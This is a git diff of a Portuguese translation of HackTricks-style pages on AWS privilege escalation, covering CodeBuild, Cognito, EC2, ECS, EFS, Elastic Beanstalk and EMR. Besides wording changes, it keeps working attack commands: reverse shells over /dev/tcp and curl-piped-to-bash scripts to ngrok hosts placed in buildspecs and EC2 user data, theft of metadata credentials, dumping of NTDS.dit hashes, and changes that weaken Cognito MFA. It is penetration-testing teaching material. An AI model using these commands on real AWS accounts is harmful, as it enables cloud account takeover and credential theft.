Um atacante poderia, por exemplo, usar um **cloudformation template** que gera **chaves para um usuário admin** como:
```json
{
"Resources": {
@@ -55,7 +55,7 @@ Um atacante poderia, por exemplo, usar um **template de cloudformation** que ger
}
}
```
Então **gere a pilha do cloudformation**:
Então **gerar a pilha do cloudformation**:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \

View File

@@ -12,7 +12,7 @@ Obtenha mais informações em:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto:
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token do papel iam atribuído ao projeto:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
{{#tab name="Exemplo2" }}
{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -289,9 +289,9 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de gravação, pode obter execução de comandos no processo do CodeBuild.
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Você pode usar algo como este **buildspec** para obter um **reverse shell**:
Você pode usar algo como isso **buildspec** para obter um **reverse shell**:
```yaml:buildspec.yml
version: 0.2
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Impacto:** Privesc direto para a função usada pelo trabalhador do AWS CodeBuild que geralmente possui altos privilégios.
**Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios.
> [!WARNING]
> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload
> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas.
**Impacto Potencial:** Privesc direto para os papéis do AWS Codebuild anexados.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações sobre codepipeline, consulte:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
Ao criar um pipeline de código, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
Ao criar um code pipeline, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
Além das permissões anteriores, você precisaria de **acesso ao local onde o código está armazenado** (S3, ECR, github, bitbucket...)

View File

@@ -55,7 +55,7 @@ codestar-createproject-codestar-associateteammember.md
- Este acesso visa especificamente uma pilha associada ao papel IAM `CodeStarWorker-<nome do projeto genérico>-CloudFormation`.
2. **Atualizar a Pilha Alvo:**
- Com as permissões do CloudFormation concedidas, prossiga para atualizar a pilha especificada.
- O nome da pilha geralmente seguirá um dos dois padrões:
- O nome da pilha geralmente se conforma a um dos dois padrões:
- `awscodestar-<nome do projeto genérico>-infrastructure`
- `awscodestar-<nome do projeto genérico>-lambda`
- O nome exato depende do modelo escolhido (referenciando o script de exploração de exemplo).

View File

@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Esta é a política criada que o usuário pode escalar privilégios para (o nome do projeto era `supercodestar`):
Esta é a política criada à qual o usuário pode escalar privilégios (o nome do projeto era `supercodestar`):
```json
{
"Version": "2012-10-17",

View File

@@ -28,13 +28,13 @@ Para explorar isso, você precisa criar um **bucket S3 que seja acessível** a p
}
}
```
Também **faça o upload** deste arquivo `empty zip` para o **bucket**:
Também **envie** este arquivo `empty zip` para o **bucket**:
{% file src="../../../../images/empty.zip" %}
Lembre-se de que o **bucket com ambos os arquivos deve ser acessível pela conta da vítima**.
Com ambas as coisas carregadas, você pode agora prosseguir para a **exploitation** criando um projeto **codestar**:
Com ambas as coisas enviadas, você pode agora prosseguir para a **exploitação** criando um projeto **codestar**:
```bash
PROJECT_NAME="supercodestar"
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
Este exploit é baseado no **exploit Pacu dessas permissões**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
Este exploit é baseado no **exploit Pacu desses privilégios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -20,7 +20,7 @@ Para mais informações [**verifique esta página**](../aws-unauthenticated-enum
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Com esta permissão, você pode **conceder qualquer função do cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
Com esta permissão, você pode **conceder qualquer função cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
É também possível **abusar dessa permissão para permitir autenticação básica**:
Também é possível **abusar dessa permissão para permitir autenticação básica**:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \
--username <value> \
--group-name <value>
```
**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de Pool de Usuários.
**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de User Pool.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e fazer um usuário comprometido parte do grupo, acessando todas essas funções:
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e tornar um usuário comprometido parte do grupo, acessando todas essas funções:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Verifique o cli aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conhece, isso poderia permitir contornar a proteção de MFA.
@@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Um atacante com esta permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método de autenticação, não ter nenhum segredo, ter a revogação de tokens desativada, permitir que os tokens sejam válidos por um período mais longo...
Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método para autenticar, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...
O mesmo pode ser feito se, em vez de criar um novo cliente, um **existente for modificado**.
Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou o [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
@@ -214,7 +214,7 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(No caso em que você cria um novo trabalho de importação, você também pode precisar da permissão iam passrole, ainda não testei isso).
(No caso em que você cria um novo trabalho de importação, pode ser necessário a permissão iam passrole, ainda não testei isso).
**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
@@ -232,7 +232,7 @@ aws cognito-idp create-identity-provider \
```
**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
### cognito-sync:\* Análise
### Análise cognito-sync:\*
Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são super úteis do ponto de vista de um atacante**.
@@ -259,7 +259,7 @@ Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, cli
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privilégios.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo uma escalada de privilégios.
#### Instalação
```bash

View File

@@ -57,7 +57,7 @@ Após a criação do pipeline, o atacante atualiza sua definição para ditar a
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
```
O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretrizes para executar comandos** ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretivas para executar comandos** ou criar recursos via a API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais.
**Impacto Potencial:** Privesc direto para a função de serviço ec2 especificada.

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Serviços de Diretório
## Directory Services
Para mais informações sobre serviços de diretório, consulte:
@@ -27,6 +27,6 @@ E então **conceder a eles uma função AWS IAM** para quando fizerem login, des
<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o console de gerenciamento da AWS e conceder permissão
Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o Console de Gerenciamento da AWS e conceder permissão
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações sobre dynamodb, consulte:
### Pós Exploração
Até onde sei, não há **uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
Até onde eu sei, **não há uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões de `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md

View File

@@ -20,7 +20,7 @@ A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Stati
### **`ec2:CreateSnapshot`**
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que controla e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot.

View File

@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Acesso via rev shell em dados do usuário**
Você pode executar uma nova instância usando um **dado do usuário** (`--user-data`) que enviará uma **rev shell** para você. Você não precisa especificar o grupo de segurança dessa forma.
Você pode executar uma nova instância usando um **user data** (`--user-data`) que enviará um **rev shell**. Você não precisa especificar o grupo de segurança dessa forma.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:
Tenha cuidado com o GuardDuty se você usar as credenciais do IAM role fora da instância:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.
**Impacto Potencial:** Privesc direto para qualquer role EC2 anexada a perfis de instância existentes.
#### Privesc para ECS
Com este conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**.
Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar suas roles ECS anexadas**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,15 +82,15 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
- Se a instância **não tiver nenhum perfil** de instância (`ec2:AssociateIamInstanceProfile`) \*
- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \*
```bash
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Impacto Potencial:** Privesc direto para qualquer EC2 IAM Role anexado a uma instância criada.
**Impacto Potencial:** Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Launch Template** com um **rev shell em** os **dados do usuário** e **qualquer EC2 IAM Role nele**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Launch Template** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell.
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, alterar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **reiniciar as instâncias** usando esse template e executará o rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de escalonamento automático** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de autoscaling** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -213,7 +213,7 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -231,7 +231,7 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
Dessa forma, não é tão útil para privesc, pois você precisa saber um nome de usuário e uma senha para explorá-lo.
**Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
@@ -254,7 +254,7 @@ Nos comandos acima, embora estejamos especificando certos padrões (`aws_|passwo
Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS.
**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM.
**Impacto Potencial:** Escalação de privilégio direta para usuário(s) IAM.
## Referências

View File

@@ -18,9 +18,9 @@ Para mais informações sobre como baixar imagens:
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
Um atacante com todas essas permissões **pode fazer login no ECR e enviar imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas.
Para aprender como enviar uma nova imagem/atualizar uma, verifique:
Para aprender como fazer upload de uma nova imagem/atualizar uma, verifique:
{{#ref}}
../aws-services/aws-eks-enum.md

View File

@@ -12,7 +12,7 @@ Mais **informações sobre ECS** em:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Um atacante que abusa da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -149,7 +149,7 @@ No entanto, para fazer isso, a instância do contêiner precisa estar executando
Portanto, o atacante pode tentar:
- **Tentar executar um comando** em cada contêiner em execução
- **Tentar executar um comando** em todos os contêineres em execução
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do

View File

@@ -10,13 +10,13 @@ Mais **informações sobre EFS** em:
../aws-services/aws-efs-enum.md
{{#endref}}
Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará ter as permissões extras mencionadas aqui para acessá-lo.
Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará das permissões extras mencionadas aqui para acessá-lo.
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **excluí-lo** para que o **acesso padrão** seja concedido.
Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **deletá-lo** para que o **acesso padrão** seja concedido.
Para excluir a política:
Para deletar a política:
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
@@ -64,7 +64,7 @@ As permissões extras `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:
### `elasticfilesystem:CreateMountTarget`
Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com este privilégio:
Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com esse privilégio:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
@@ -75,12 +75,12 @@ aws efs create-mount-target --file-system-id <fs-id> \
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia simplesmente **alterar isso modificando os grupos de segurança selecionados**:
Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia **simplesmente mudar isso modificando os grupos de segurança selecionados**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis no sistema de arquivos.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -15,7 +15,7 @@ Mais **informações sobre o Elastic Beanstalk** em:
### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita no S3 e muitas outras
Com **permissões de escrita sobre o bucket S3** que contém o **código** do ambiente e permissões para **reconstruir** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e mais algumas relacionadas a `S3`, `EC2` e `Cloudformation`), você pode **modificar** o **código**, **reconstruir** o app e, na próxima vez que acessar o app, ele **executará seu novo código**, permitindo que o atacante comprometa a aplicação e as credenciais da função IAM dela.
Com **permissões de escrita sobre o bucket S3** que
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e mais...
Os mencionados, além de várias permissões **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero.
Os mencionados, além de várias permissões de **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero.
- Criar uma aplicação AWS Elastic Beanstalk:
```bash
@@ -44,7 +44,7 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
```
Se um ambiente já foi criado e você **não quer criar um novo**, você pode apenas **atualizar** o existente.
- Empacote seu código de aplicativo e dependências em um arquivo ZIP:
- Empacote seu código de aplicação e dependências em um arquivo ZIP:
```python
zip -r MyApp.zip .
```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
Primeiro de tudo, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**:
Primeiramente, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
Uma vez que você tenha **seu próprio ambiente Beanstalk em execução** sua rev shell, é hora de **migrá-lo** para o ambiente dos **vítimas**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do beanstalk para que a **vítima possa acessá-lo** (Note que isso **abrirá** o Bucket para **TODOS**):
Uma vez que você tenha **seu próprio ambiente Beanstalk rodando** seu rev shell, é hora de **migrá-lo** para o ambiente da **vítima**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do Beanstalk para que a **vítima possa acessá-lo** (Note que isso irá **abrir** o Bucket para **TODOS**):
```json
{
"Version": "2008-10-17",

View File

@@ -13,7 +13,7 @@ Mais **informações sobre EMR** em:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Um atacante com essas permissões pode **executar um novo cluster EMR anexando funções EC2** e tentar roubar suas credenciais.\
Observe que, para fazer isso, você precisaria **conhecer alguma chave privativa ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
Observe que, para fazer isso, você precisaria **conhecer alguma chave priv ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -42,7 +42,7 @@ Note como um **papel EMR** é especificado em `--service-role` e um **papel ec2*
